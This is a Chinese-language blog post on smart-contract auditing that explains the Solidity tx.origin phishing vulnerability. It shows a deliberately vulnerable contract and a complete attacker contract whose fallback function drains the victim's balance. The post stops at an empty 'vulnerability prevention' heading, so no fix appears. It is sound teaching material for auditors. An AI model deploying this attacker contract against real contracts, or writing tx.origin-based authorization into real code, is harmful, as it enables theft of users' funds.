My Avatar

毕竟话少

业精于勤荒于嬉,行成于思毁于随!

智能合约审计-tx.origin漏洞

2020年5月4日 星期一, 发表于 合肥

如果你对本文有任何的建议或者疑问, 可以在 这里给我提 Issues, 谢谢! :)

描叙:tx.origin是solidity中的一个全局变量,它能够遍历调用栈并返回最初发送调用(或事务)的账户的地址,使用tx.origin变量进行身份验证,会导致合约受到网络钓鱼攻击。

核心问题:使用tx.origin全局变量绕过限制,获取一定的权限。

漏洞合约分析

pragma solidity ^0.4.22;

contract game {
    address public owner;
    
    constructor () public {
        owner = msg.sender;
    }
    function () public payable {}
        function withdrawAll(address _recipient) public {
            require(tx.origin == owner);
            _recipient.transfer(this.balance);
        }
}

漏洞点:攻击者可以诱使漏洞合约所有者向攻击者合约发送以太币,然后调用攻击者合约的函数,从而调用漏洞合约的withdrawAll()函数,程序将进入漏洞合约中执行,此时msg.sender就是攻击者合约的地址,tx.origin就是漏洞合约所有者的地址,require(tx.origin == owner)条件得到满足,_recipient.transfer(this.balance)可以执行。

攻击合约分析

pragma solidity ^0.4.22;

interface game{
    function owner() external returns(address);
    function withdrawAll(address _recipient) external;
}
contract exp {
    address owner;
    game phInstance;
    constructor() public{
        owner = msg.sender;
    }
    modifier onlyowner() {
        require(owner == msg.sender);
        _;
    }
     function setInstance(address addr) public onlyowner{
         phInstance = game(addr);
    }
    function getbalance() public onlyowner{
        owner.transfer(address(this).balance);
    }
    function attack() internal{
        address ph0wner = phInstance.owner();
        if (ph0wner == msg.sender){
            phInstance.withdrawAll(owner);
        }else{
            owner.transfer(address(this).balance);
        }
    }
    function() external payable{
        attack();
    }
}

利用点:其回退函数调用了attack()函数,而attack()函数中的if (ph0wner == msg.sender){phInstance.withdrawAll(owner);在条件满足的情况下,可以调用game合约中的withdrawAll()函数。同时,由于传入的地址为攻击者地址,原合约取出的余额将全部转入攻击者账户。

漏洞预防